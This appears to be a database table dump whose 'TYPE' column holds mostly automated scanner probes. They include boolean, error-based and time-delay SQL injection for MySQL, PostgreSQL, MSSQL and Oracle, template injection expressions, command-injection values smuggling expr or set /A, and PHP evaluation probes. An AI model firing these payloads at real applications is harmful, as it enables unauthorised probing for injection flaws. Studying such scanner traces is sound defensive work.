ID TYPE
411 -1 OR 2+109-109-1=0+0+0+1 --
530 -1 OR 2+137-137-1=0+0+0+1
850 -1 OR 2+143-143-1=0+0+0+1
259 -1 OR 2+279-279-1=0+0+0+1
611 -1 OR 2+287-287-1=0+0+0+1
727 -1 OR 2+297-297-1=0+0+0+1 --
888 -1 OR 2+308-308-1=0+0+0+1
769 -1 OR 2+431-431-1=0+0+0+1
731 -1 OR 2+433-433-1=0+0+0+1
415 -1 OR 2+443-443-1=0+0+0+1
364 -1 OR 2+453-453-1=0+0+0+1
923 -1 OR 2+458-458-1=0+0+0+1 --
453 -1 OR 2+477-477-1=0+0+0+1
692 -1 OR 2+494-494-1=0+0+0+1
255 -1 OR 2+506-506-1=0+0+0+1 --
573 -1 OR 2+60-60-1=0+0+0+1
1036 -1 OR 2+614-614-1=0+0+0+1 --
220 -1 OR 2+642-642-1=0+0+0+1
1079 -1 OR 2+655-655-1=0+0+0+1
1040 -1 OR 2+716-716-1=0+0+0+1
998 -1 OR 2+724-724-1=0+0+0+1 --
449 -1 OR 2+766-766-1=0+0+0+1 --
884 -1 OR 2+776-776-1=0+0+0+1 --
569 -1 OR 2+782-782-1=0+0+0+1 --
298 -1 OR 2+796-796-1=0+0+0+1
765 -1 OR 2+825-825-1=0+0+0+1 --
294 -1 OR 2+834-834-1=0+0+0+1 --
1075 -1 OR 2+844-844-1=0+0+0+1 --
360 -1 OR 2+849-849-1=0+0+0+1 --
846 -1 OR 2+859-859-1=0+0+0+1 --
216 -1 OR 2+871-871-1=0+0+0+1 --
927 -1 OR 2+891-891-1=0+0+0+1
688 -1 OR 2+907-907-1=0+0+0+1 --
607 -1 OR 2+970-970-1=0+0+0+1 --
526 -1 OR 2+99-99-1=0+0+0+1 --
413 -1 OR 3*2<(0+5+109-109) --
532 -1 OR 3*2<(0+5+137-137)
852 -1 OR 3*2<(0+5+143-143)
261 -1 OR 3*2<(0+5+279-279)
613 -1 OR 3*2<(0+5+287-287)
729 -1 OR 3*2<(0+5+297-297) --
890 -1 OR 3*2<(0+5+308-308)
771 -1 OR 3*2<(0+5+431-431)
733 -1 OR 3*2<(0+5+433-433)
417 -1 OR 3*2<(0+5+443-443)
366 -1 OR 3*2<(0+5+453-453)
925 -1 OR 3*2<(0+5+458-458) --
455 -1 OR 3*2<(0+5+477-477)
694 -1 OR 3*2<(0+5+494-494)
257 -1 OR 3*2<(0+5+506-506) --
575 -1 OR 3*2<(0+5+60-60)
1038 -1 OR 3*2<(0+5+614-614) --
222 -1 OR 3*2<(0+5+642-642)
1081 -1 OR 3*2<(0+5+655-655)
1042 -1 OR 3*2<(0+5+716-716)
1000 -1 OR 3*2<(0+5+724-724) --
451 -1 OR 3*2<(0+5+766-766) --
886 -1 OR 3*2<(0+5+776-776) --
571 -1 OR 3*2<(0+5+782-782) --
300 -1 OR 3*2<(0+5+796-796)
767 -1 OR 3*2<(0+5+825-825) --
296 -1 OR 3*2<(0+5+834-834) --
1077 -1 OR 3*2<(0+5+844-844) --
362 -1 OR 3*2<(0+5+849-849) --
848 -1 OR 3*2<(0+5+859-859) --
218 -1 OR 3*2<(0+5+871-871) --
929 -1 OR 3*2<(0+5+891-891)
690 -1 OR 3*2<(0+5+907-907) --
609 -1 OR 3*2<(0+5+970-970) --
528 -1 OR 3*2<(0+5+99-99) --
414 -1 OR 3*2>(0+5+109-109) --
533 -1 OR 3*2>(0+5+137-137)
853 -1 OR 3*2>(0+5+143-143)
262 -1 OR 3*2>(0+5+279-279)
614 -1 OR 3*2>(0+5+287-287)
730 -1 OR 3*2>(0+5+297-297) --
891 -1 OR 3*2>(0+5+308-308)
772 -1 OR 3*2>(0+5+431-431)
734 -1 OR 3*2>(0+5+433-433)
418 -1 OR 3*2>(0+5+443-443)
367 -1 OR 3*2>(0+5+453-453)
926 -1 OR 3*2>(0+5+458-458) --
456 -1 OR 3*2>(0+5+477-477)
695 -1 OR 3*2>(0+5+494-494)
258 -1 OR 3*2>(0+5+506-506) --
576 -1 OR 3*2>(0+5+60-60)
1039 -1 OR 3*2>(0+5+614-614) --
223 -1 OR 3*2>(0+5+642-642)
1082 -1 OR 3*2>(0+5+655-655)
1043 -1 OR 3*2>(0+5+716-716)
1001 -1 OR 3*2>(0+5+724-724) --
452 -1 OR 3*2>(0+5+766-766) --
887 -1 OR 3*2>(0+5+776-776) --
572 -1 OR 3*2>(0+5+782-782) --
301 -1 OR 3*2>(0+5+796-796)
768 -1 OR 3*2>(0+5+825-825) --
297 -1 OR 3*2>(0+5+834-834) --
1078 -1 OR 3*2>(0+5+844-844) --
363 -1 OR 3*2>(0+5+849-849) --
849 -1 OR 3*2>(0+5+859-859) --
219 -1 OR 3*2>(0+5+871-871) --
930 -1 OR 3*2>(0+5+891-891)
691 -1 OR 3*2>(0+5+907-907) --
610 -1 OR 3*2>(0+5+970-970) --
529 -1 OR 3*2>(0+5+99-99) --
412 -1 OR 3+109-109-1=0+0+0+1 --
531 -1 OR 3+137-137-1=0+0+0+1
851 -1 OR 3+143-143-1=0+0+0+1
260 -1 OR 3+279-279-1=0+0+0+1
612 -1 OR 3+287-287-1=0+0+0+1
728 -1 OR 3+297-297-1=0+0+0+1 --
889 -1 OR 3+308-308-1=0+0+0+1
770 -1 OR 3+431-431-1=0+0+0+1
732 -1 OR 3+433-433-1=0+0+0+1
416 -1 OR 3+443-443-1=0+0+0+1
365 -1 OR 3+453-453-1=0+0+0+1
924 -1 OR 3+458-458-1=0+0+0+1 --
454 -1 OR 3+477-477-1=0+0+0+1
693 -1 OR 3+494-494-1=0+0+0+1
256 -1 OR 3+506-506-1=0+0+0+1 --
574 -1 OR 3+60-60-1=0+0+0+1
1037 -1 OR 3+614-614-1=0+0+0+1 --
221 -1 OR 3+642-642-1=0+0+0+1
1080 -1 OR 3+655-655-1=0+0+0+1
1041 -1 OR 3+716-716-1=0+0+0+1
999 -1 OR 3+724-724-1=0+0+0+1 --
450 -1 OR 3+766-766-1=0+0+0+1 --
885 -1 OR 3+776-776-1=0+0+0+1 --
570 -1 OR 3+782-782-1=0+0+0+1 --
299 -1 OR 3+796-796-1=0+0+0+1
766 -1 OR 3+825-825-1=0+0+0+1 --
295 -1 OR 3+834-834-1=0+0+0+1 --
1076 -1 OR 3+844-844-1=0+0+0+1 --
361 -1 OR 3+849-849-1=0+0+0+1 --
847 -1 OR 3+859-859-1=0+0+0+1 --
217 -1 OR 3+871-871-1=0+0+0+1 --
928 -1 OR 3+891-891-1=0+0+0+1
689 -1 OR 3+907-907-1=0+0+0+1 --
608 -1 OR 3+970-970-1=0+0+0+1 --
527 -1 OR 3+99-99-1=0+0+0+1 --
372 -1' OR 2+131-131-1=0+0+0+1 or 'Brc95vhq'='
581 -1' OR 2+131-131-1=0+0+0+1 or 'ptQh5AIb'='
615 -1' OR 2+132-132-1=0+0+0+1 --
1087 -1' OR 2+152-152-1=0+0+0+1 or 'IPagentN'='
1048 -1' OR 2+17-17-1=0+0+0+1 or 'mQ8AMXEc'='
931 -1' OR 2+181-181-1=0+0+0+1 --
423 -1' OR 2+187-187-1=0+0+0+1 or 'Cb8bkrZM'='
228 -1' OR 2+188-188-1=0+0+0+1 or 'hcGE9aCA'='
854 -1' OR 2+191-191-1=0+0+0+1 --
896 -1' OR 2+205-205-1=0+0+0+1 or 'gv44gfhu'='
306 -1' OR 2+224-224-1=0+0+0+1 or 'bRAW9wVW'='
777 -1' OR 2+235-235-1=0+0+0+1 or 'MnoZgyZZ'='
419 -1' OR 2+263-263-1=0+0+0+1 --
1083 -1' OR 2+316-316-1=0+0+0+1 --
534 -1' OR 2+390-390-1=0+0+0+1 --
1009 -1' OR 2+460-460-1=0+0+0+1 or 'KGx9HsYJ'='
538 -1' OR 2+505-505-1=0+0+0+1 or 'evwqDerr'='
368 -1' OR 2+529-529-1=0+0+0+1 --
735 -1' OR 2+535-535-1=0+0+0+1 --
773 -1' OR 2+560-560-1=0+0+0+1 --
696 -1' OR 2+571-571-1=0+0+0+1 --
700 -1' OR 2+594-594-1=0+0+0+1 or '4oM4eXuU'='
892 -1' OR 2+628-628-1=0+0+0+1 --
739 -1' OR 2+668-668-1=0+0+0+1 or '95IbimVL'='
1004 -1' OR 2+717-717-1=0+0+0+1 --
1044 -1' OR 2+726-726-1=0+0+0+1 --
302 -1' OR 2+730-730-1=0+0+0+1 --
858 -1' OR 2+855-855-1=0+0+0+1 or 'cHdWxOlj'='
619 -1' OR 2+874-874-1=0+0+0+1 or '4ZyRB58Y'='
263 -1' OR 2+89-89-1=0+0+0+1 --
461 -1' OR 2+891-891-1=0+0+0+1 or 'EtX1eUdI'='
224 -1' OR 2+912-912-1=0+0+0+1 --
935 -1' OR 2+927-927-1=0+0+0+1 or 'DiybR5V4'='
457 -1' OR 2+938-938-1=0+0+0+1 --
577 -1' OR 2+941-941-1=0+0+0+1 --
267 -1' OR 2+968-968-1=0+0+0+1 or 'BXT4RI6B'='
374 -1' OR 3*2<(0+5+131-131) or 'Brc95vhq'='
583 -1' OR 3*2<(0+5+131-131) or 'ptQh5AIb'='
617 -1' OR 3*2<(0+5+132-132) --
1089 -1' OR 3*2<(0+5+152-152) or 'IPagentN'='
1050 -1' OR 3*2<(0+5+17-17) or 'mQ8AMXEc'='
933 -1' OR 3*2<(0+5+181-181) --
425 -1' OR 3*2<(0+5+187-187) or 'Cb8bkrZM'='
230 -1' OR 3*2<(0+5+188-188) or 'hcGE9aCA'='
856 -1' OR 3*2<(0+5+191-191) --
898 -1' OR 3*2<(0+5+205-205) or 'gv44gfhu'='
308 -1' OR 3*2<(0+5+224-224) or 'bRAW9wVW'='
779 -1' OR 3*2<(0+5+235-235) or 'MnoZgyZZ'='
421 -1' OR 3*2<(0+5+263-263) --
1085 -1' OR 3*2<(0+5+316-316) --
536 -1' OR 3*2<(0+5+390-390) --
1011 -1' OR 3*2<(0+5+460-460) or 'KGx9HsYJ'='
540 -1' OR 3*2<(0+5+505-505) or 'evwqDerr'='
370 -1' OR 3*2<(0+5+529-529) --
737 -1' OR 3*2<(0+5+535-535) --
775 -1' OR 3*2<(0+5+560-560) --
698 -1' OR 3*2<(0+5+571-571) --
702 -1' OR 3*2<(0+5+594-594) or '4oM4eXuU'='
894 -1' OR 3*2<(0+5+628-628) --
741 -1' OR 3*2<(0+5+668-668) or '95IbimVL'='
1007 -1' OR 3*2<(0+5+717-717) --
1046 -1' OR 3*2<(0+5+726-726) --
304 -1' OR 3*2<(0+5+730-730) --
860 -1' OR 3*2<(0+5+855-855) or 'cHdWxOlj'='
621 -1' OR 3*2<(0+5+874-874) or '4ZyRB58Y'='
265 -1' OR 3*2<(0+5+89-89) --
463 -1' OR 3*2<(0+5+891-891) or 'EtX1eUdI'='
226 -1' OR 3*2<(0+5+912-912) --
937 -1' OR 3*2<(0+5+927-927) or 'DiybR5V4'='
459 -1' OR 3*2<(0+5+938-938) --
579 -1' OR 3*2<(0+5+941-941) --
269 -1' OR 3*2<(0+5+968-968) or 'BXT4RI6B'='
375 -1' OR 3*2>(0+5+131-131) or 'Brc95vhq'='
584 -1' OR 3*2>(0+5+131-131) or 'ptQh5AIb'='
618 -1' OR 3*2>(0+5+132-132) --
1090 -1' OR 3*2>(0+5+152-152) or 'IPagentN'='
1051 -1' OR 3*2>(0+5+17-17) or 'mQ8AMXEc'='
934 -1' OR 3*2>(0+5+181-181) --
426 -1' OR 3*2>(0+5+187-187) or 'Cb8bkrZM'='
231 -1' OR 3*2>(0+5+188-188) or 'hcGE9aCA'='
857 -1' OR 3*2>(0+5+191-191) --
899 -1' OR 3*2>(0+5+205-205) or 'gv44gfhu'='
309 -1' OR 3*2>(0+5+224-224) or 'bRAW9wVW'='
780 -1' OR 3*2>(0+5+235-235) or 'MnoZgyZZ'='
422 -1' OR 3*2>(0+5+263-263) --
1086 -1' OR 3*2>(0+5+316-316) --
537 -1' OR 3*2>(0+5+390-390) --
1012 -1' OR 3*2>(0+5+460-460) or 'KGx9HsYJ'='
541 -1' OR 3*2>(0+5+505-505) or 'evwqDerr'='
371 -1' OR 3*2>(0+5+529-529) --
738 -1' OR 3*2>(0+5+535-535) --
776 -1' OR 3*2>(0+5+560-560) --
699 -1' OR 3*2>(0+5+571-571) --
703 -1' OR 3*2>(0+5+594-594) or '4oM4eXuU'='
895 -1' OR 3*2>(0+5+628-628) --
742 -1' OR 3*2>(0+5+668-668) or '95IbimVL'='
1008 -1' OR 3*2>(0+5+717-717) --
1047 -1' OR 3*2>(0+5+726-726) --
305 -1' OR 3*2>(0+5+730-730) --
861 -1' OR 3*2>(0+5+855-855) or 'cHdWxOlj'='
622 -1' OR 3*2>(0+5+874-874) or '4ZyRB58Y'='
266 -1' OR 3*2>(0+5+89-89) --
464 -1' OR 3*2>(0+5+891-891) or 'EtX1eUdI'='
227 -1' OR 3*2>(0+5+912-912) --
938 -1' OR 3*2>(0+5+927-927) or 'DiybR5V4'='
460 -1' OR 3*2>(0+5+938-938) --
580 -1' OR 3*2>(0+5+941-941) --
270 -1' OR 3*2>(0+5+968-968) or 'BXT4RI6B'='
373 -1' OR 3+131-131-1=0+0+0+1 or 'Brc95vhq'='
582 -1' OR 3+131-131-1=0+0+0+1 or 'ptQh5AIb'='
616 -1' OR 3+132-132-1=0+0+0+1 --
1088 -1' OR 3+152-152-1=0+0+0+1 or 'IPagentN'='
1049 -1' OR 3+17-17-1=0+0+0+1 or 'mQ8AMXEc'='
932 -1' OR 3+181-181-1=0+0+0+1 --
424 -1' OR 3+187-187-1=0+0+0+1 or 'Cb8bkrZM'='
229 -1' OR 3+188-188-1=0+0+0+1 or 'hcGE9aCA'='
855 -1' OR 3+191-191-1=0+0+0+1 --
897 -1' OR 3+205-205-1=0+0+0+1 or 'gv44gfhu'='
307 -1' OR 3+224-224-1=0+0+0+1 or 'bRAW9wVW'='
778 -1' OR 3+235-235-1=0+0+0+1 or 'MnoZgyZZ'='
420 -1' OR 3+263-263-1=0+0+0+1 --
1084 -1' OR 3+316-316-1=0+0+0+1 --
535 -1' OR 3+390-390-1=0+0+0+1 --
1010 -1' OR 3+460-460-1=0+0+0+1 or 'KGx9HsYJ'='
539 -1' OR 3+505-505-1=0+0+0+1 or 'evwqDerr'='
369 -1' OR 3+529-529-1=0+0+0+1 --
736 -1' OR 3+535-535-1=0+0+0+1 --
774 -1' OR 3+560-560-1=0+0+0+1 --
697 -1' OR 3+571-571-1=0+0+0+1 --
701 -1' OR 3+594-594-1=0+0+0+1 or '4oM4eXuU'='
893 -1' OR 3+628-628-1=0+0+0+1 --
740 -1' OR 3+668-668-1=0+0+0+1 or '95IbimVL'='
1005 -1' OR 3+717-717-1=0+0+0+1 --
1045 -1' OR 3+726-726-1=0+0+0+1 --
303 -1' OR 3+730-730-1=0+0+0+1 --
859 -1' OR 3+855-855-1=0+0+0+1 or 'cHdWxOlj'='
620 -1' OR 3+874-874-1=0+0+0+1 or '4ZyRB58Y'='
264 -1' OR 3+89-89-1=0+0+0+1 --
462 -1' OR 3+891-891-1=0+0+0+1 or 'EtX1eUdI'='
225 -1' OR 3+912-912-1=0+0+0+1 --
936 -1' OR 3+927-927-1=0+0+0+1 or 'DiybR5V4'='
458 -1' OR 3+938-938-1=0+0+0+1 --
578 -1' OR 3+941-941-1=0+0+0+1 --
268 -1' OR 3+968-968-1=0+0+0+1 or 'BXT4RI6B'='
900 -1" OR 2+172-172-1=0+0+0+1 --
1013 -1" OR 2+174-174-1=0+0+0+1 --
310 -1" OR 2+258-258-1=0+0+0+1 --
704 -1" OR 2+275-275-1=0+0+0+1 --
585 -1" OR 2+317-317-1=0+0+0+1 --
465 -1" OR 2+360-360-1=0+0+0+1 --
623 -1" OR 2+372-372-1=0+0+0+1 --
271 -1" OR 2+425-425-1=0+0+0+1 --
743 -1" OR 2+47-47-1=0+0+0+1 --
232 -1" OR 2+53-53-1=0+0+0+1 --
542 -1" OR 2+57-57-1=0+0+0+1 --
862 -1" OR 2+61-61-1=0+0+0+1 --
939 -1" OR 2+659-659-1=0+0+0+1 --
376 -1" OR 2+779-779-1=0+0+0+1 --
781 -1" OR 2+843-843-1=0+0+0+1 --
427 -1" OR 2+925-925-1=0+0+0+1 --
1091 -1" OR 2+932-932-1=0+0+0+1 --
1052 -1" OR 2+972-972-1=0+0+0+1 --
902 -1" OR 3*2<(0+5+172-172) --
1015 -1" OR 3*2<(0+5+174-174) --
312 -1" OR 3*2<(0+5+258-258) --
706 -1" OR 3*2<(0+5+275-275) --
587 -1" OR 3*2<(0+5+317-317) --
467 -1" OR 3*2<(0+5+360-360) --
625 -1" OR 3*2<(0+5+372-372) --
273 -1" OR 3*2<(0+5+425-425) --
745 -1" OR 3*2<(0+5+47-47) --
234 -1" OR 3*2<(0+5+53-53) --
544 -1" OR 3*2<(0+5+57-57) --
864 -1" OR 3*2<(0+5+61-61) --
941 -1" OR 3*2<(0+5+659-659) --
378 -1" OR 3*2<(0+5+779-779) --
783 -1" OR 3*2<(0+5+843-843) --
429 -1" OR 3*2<(0+5+925-925) --
1093 -1" OR 3*2<(0+5+932-932) --
1054 -1" OR 3*2<(0+5+972-972) --
903 -1" OR 3*2>(0+5+172-172) --
1016 -1" OR 3*2>(0+5+174-174) --
313 -1" OR 3*2>(0+5+258-258) --
707 -1" OR 3*2>(0+5+275-275) --
588 -1" OR 3*2>(0+5+317-317) --
468 -1" OR 3*2>(0+5+360-360) --
626 -1" OR 3*2>(0+5+372-372) --
274 -1" OR 3*2>(0+5+425-425) --
746 -1" OR 3*2>(0+5+47-47) --
235 -1" OR 3*2>(0+5+53-53) --
545 -1" OR 3*2>(0+5+57-57) --
865 -1" OR 3*2>(0+5+61-61) --
942 -1" OR 3*2>(0+5+659-659) --
379 -1" OR 3*2>(0+5+779-779) --
784 -1" OR 3*2>(0+5+843-843) --
430 -1" OR 3*2>(0+5+925-925) --
1094 -1" OR 3*2>(0+5+932-932) --
1055 -1" OR 3*2>(0+5+972-972) --
901 -1" OR 3+172-172-1=0+0+0+1 --
1014 -1" OR 3+174-174-1=0+0+0+1 --
311 -1" OR 3+258-258-1=0+0+0+1 --
705 -1" OR 3+275-275-1=0+0+0+1 --
586 -1" OR 3+317-317-1=0+0+0+1 --
466 -1" OR 3+360-360-1=0+0+0+1 --
624 -1" OR 3+372-372-1=0+0+0+1 --
272 -1" OR 3+425-425-1=0+0+0+1 --
744 -1" OR 3+47-47-1=0+0+0+1 --
233 -1" OR 3+53-53-1=0+0+0+1 --
543 -1" OR 3+57-57-1=0+0+0+1 --
863 -1" OR 3+61-61-1=0+0+0+1 --
940 -1" OR 3+659-659-1=0+0+0+1 --
377 -1" OR 3+779-779-1=0+0+0+1 --
782 -1" OR 3+843-843-1=0+0+0+1 --
428 -1" OR 3+925-925-1=0+0+0+1 --
1092 -1" OR 3+932-932-1=0+0+0+1 --
1053 -1" OR 3+972-972-1=0+0+0+1 --
101 '-var_dump(md5(603679385))-'
28 '-var_dump(md5(959088873))-'
239 (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
78 (select*from(select+sleep(0)union/**/select+1)a)
79 (select*from(select+sleep(2)union/**/select+1)a)
444 @@3023b
798 @@AVQTT
1031 @@AYc93
393 @@c4SMF
602 @@DANLp
879 @@DLgAz
640 @@IEtzw
482 @@jmc1w
559 @@JuJ1h
956 @@olVLV
289 @@OyZVb
249 @@P36MV
917 @@Rbbdl
760 @@t0pBj
721 @@TgNbl
331 @@u9aU9
1069 @@uNVnE
40 /*1*/{{860250028+951592484}}
127 /*1*/{{915672147+840969734}}
51 #set($c=919581092+981770892)${c}$c
138 #set($c=942582300+937485145)${c}$c
141 <%- 932272850+890951417 %>
54 <%- 939330908+948877603 %>
134 ${(834532016+897125781)?c}
49 ${(880712559+800600847)?c}
98 ${@var_dump(md5(951368286))};
22 ${@var_dump(md5(968895338))};
29 ${831348204+808115580}
45 ${836414956+974565256}
131 ${940127480+836725020}
106 ${972804708+831210646}
97 123456 expr 857541117 + 893191951
8 123456 expr 987368730 + 866445513
4 123456
71 123456'"\(
86 123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
87 123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
187 123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',2)='m
94 123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('o',0)='o
95 123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('u',2)='u
186 123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',0)='v
167 123456'and'a'='y
75 123456'and'b'='k
74 123456'and'l'='l
166 123456'and'p'='p
61 123456'and(select'1'from/**/cast(md5(1543103807)as/**/int))>'0
126 123456'and(select'1'from/**/cast(md5(1767591031)as/**/int))>'0
80 123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
81 123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
90 123456'and(select+1)>0waitfor/**/delay'0:0:0
91 123456'and(select+1)>0waitfor/**/delay'0:0:2
67 123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1679442369')))>'0
139 123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1896255207')))>'0
55 123456'and/**/extractvalue(1,concat(char(126),md5(1476045845)))and'
114 123456'and/**/extractvalue(1,concat(char(126),md5(1654351654)))and'
169 123456"and"e"="v
168 123456"and"f"="f
76 123456"and"l"="l
77 123456"and"n"="p
82 123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
83 123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
118 123456"and/**/extractvalue(1,concat(char(126),md5(1570176507)))and"
57 123456"and/**/extractvalue(1,concat(char(126),md5(1678663951)))and"
88 123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
89 123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
84 123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
85 123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
184 123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('g',0)
93 123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('k',2)
92 123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('o',0)
185 123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('y',2)
130 123456/**/and/**/cast(md5('1301643976')as/**/int)>0
63 123456/**/and/**/cast(md5('1644836013')as/**/int)>0
164 123456/**/and+1=1
72 123456/**/and+2=2
165 123456/**/and+2=5
73 123456/**/and+4=5
19 123456&set /A 936131030+932467173
109 123456&set /A 954475387+848272246
10 123456|expr 883800079 + 831431260
100 123456|expr 887722614 + 918499013
14 123456$(expr 880117226 + 907795131)
103 123456$(expr 908237923 + 916916645)
69 123456鎈'"\(
3 Banque
1 CASH
65 convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1616022466')))
135 convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1732016660')))
115 expr 916101455 + 885130170
25 expr 930923222 + 994669121
122 extractvalue(1,concat(char(126),md5(1604665722)))
59 extractvalue(1,concat(char(126),md5(1685891158)))
236 if(now()=sysdate(),sleep(15),0)
188 Mr.
240 Mr.-1 waitfor delay '0:0:15' --
248 Mr.????%2527%2522\'\"
247 Mr.'"
245 Mr.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
237 Mr.0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
238 Mr.0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
635 Mr.03Cv9XzS')) OR 65=(SELECT 65 FROM PG_SLEEP(15))--
409 Mr.0cQOCFgC
949 Mr.1Fzvses6' OR 576=(SELECT 576 FROM PG_SLEEP(15))--
475 Mr.1gPWkcsh' OR 591=(SELECT 591 FROM PG_SLEEP(15))--
1107 Mr.1GxV9Ca0')) OR 415=(SELECT 415 FROM PG_SLEEP(15))--
873 Mr.2BIY3CMP') OR 100=(SELECT 100 FROM PG_SLEEP(15))--
323 Mr.2CGDu4Rj'; waitfor delay '0:0:15' --
284 Mr.2fFrW3y5') OR 760=(SELECT 760 FROM PG_SLEEP(15))--
596 Mr.2niVlQ3S') OR 266=(SELECT 266 FROM PG_SLEEP(15))--
1104 Mr.3fUUhSTU'; waitfor delay '0:0:15' --
1026 Mr.4jKYCl29')) OR 941=(SELECT 941 FROM PG_SLEEP(15))--
1064 Mr.4JlXtE7Z')) OR 941=(SELECT 941 FROM PG_SLEEP(15))--
253 Mr.5jYdph8l
1106 Mr.617dvE25') OR 108=(SELECT 108 FROM PG_SLEEP(15))--
1063 Mr.6JXeWIaT') OR 388=(SELECT 388 FROM PG_SLEEP(15))--
872 Mr.7b7rsSPA' OR 694=(SELECT 694 FROM PG_SLEEP(15))--
1105 Mr.7mUfIPY1' OR 812=(SELECT 812 FROM PG_SLEEP(15))--
1034 Mr.8UIqqm97
597 Mr.8zNfvlv0')) OR 297=(SELECT 297 FROM PG_SLEEP(15))--
714 Mr.9e55VZAj' OR 344=(SELECT 344 FROM PG_SLEEP(15))--
551 Mr.9SW7SZ9K'; waitfor delay '0:0:15' --
910 Mr.a4iM3Vad' OR 596=(SELECT 596 FROM PG_SLEEP(15))--
524 Mr.CmidVbaJ
948 Mr.COFYODvV'; waitfor delay '0:0:15' --
474 Mr.DBf8Uaau'; waitfor delay '0:0:15' --
790 Mr.DDlDNgVu'; waitfor delay '0:0:15' --
634 Mr.dnUvJglk') OR 507=(SELECT 507 FROM PG_SLEEP(15))--
633 Mr.ecg5pQXy' OR 531=(SELECT 531 FROM PG_SLEEP(15))--
447 Mr.Et4J0qCX
386 Mr.exYSj88T' OR 691=(SELECT 691 FROM PG_SLEEP(15))--
763 Mr.FQmKfKCR
754 Mr.FWnwTT6d') OR 276=(SELECT 276 FROM PG_SLEEP(15))--
437 Mr.GkLhPJzT' OR 605=(SELECT 605 FROM PG_SLEEP(15))--
476 Mr.gtT21cuK') OR 93=(SELECT 93 FROM PG_SLEEP(15))--
214 Mr.Hl0UgLkI
632 Mr.HR9n6w7l'; waitfor delay '0:0:15' --
243 Mr.hSr25FnT') OR 224=(SELECT 224 FROM PG_SLEEP(15))--
594 Mr.idpqmq8L'; waitfor delay '0:0:15' --
553 Mr.IRMrU9zI') OR 981=(SELECT 981 FROM PG_SLEEP(15))--
793 Mr.jLlvz8gp')) OR 575=(SELECT 575 FROM PG_SLEEP(15))--
439 Mr.ksRwOTF2')) OR 845=(SELECT 845 FROM PG_SLEEP(15))--
716 Mr.l0v6DZuv')) OR 20=(SELECT 20 FROM PG_SLEEP(15))--
567 Mr.LBtFenLU
950 Mr.lFM2QULk') OR 105=(SELECT 105 FROM PG_SLEEP(15))--
283 Mr.LFZa1Tj0'; waitfor delay '0:0:15' --
388 Mr.lOwJcN7j')) OR 401=(SELECT 401 FROM PG_SLEEP(15))--
324 Mr.Lqpd4VXV' OR 76=(SELECT 76 FROM PG_SLEEP(15))--
436 Mr.LV5bFK1A'; waitfor delay '0:0:15' --
994 Mr.mRbAjtkp
753 Mr.N2Z3zrrg' OR 588=(SELECT 588 FROM PG_SLEEP(15))--
244 Mr.nQZmc0O1')) OR 996=(SELECT 996 FROM PG_SLEEP(15))--
477 Mr.nsXKeLbL')) OR 592=(SELECT 592 FROM PG_SLEEP(15))--
326 Mr.o7q2CHPO')) OR 968=(SELECT 968 FROM PG_SLEEP(15))--
909 Mr.OMDEBoDR'; waitfor delay '0:0:15' --
844 Mr.Ooiiz7Qc
387 Mr.PTRUGMfI') OR 288=(SELECT 288 FROM PG_SLEEP(15))--
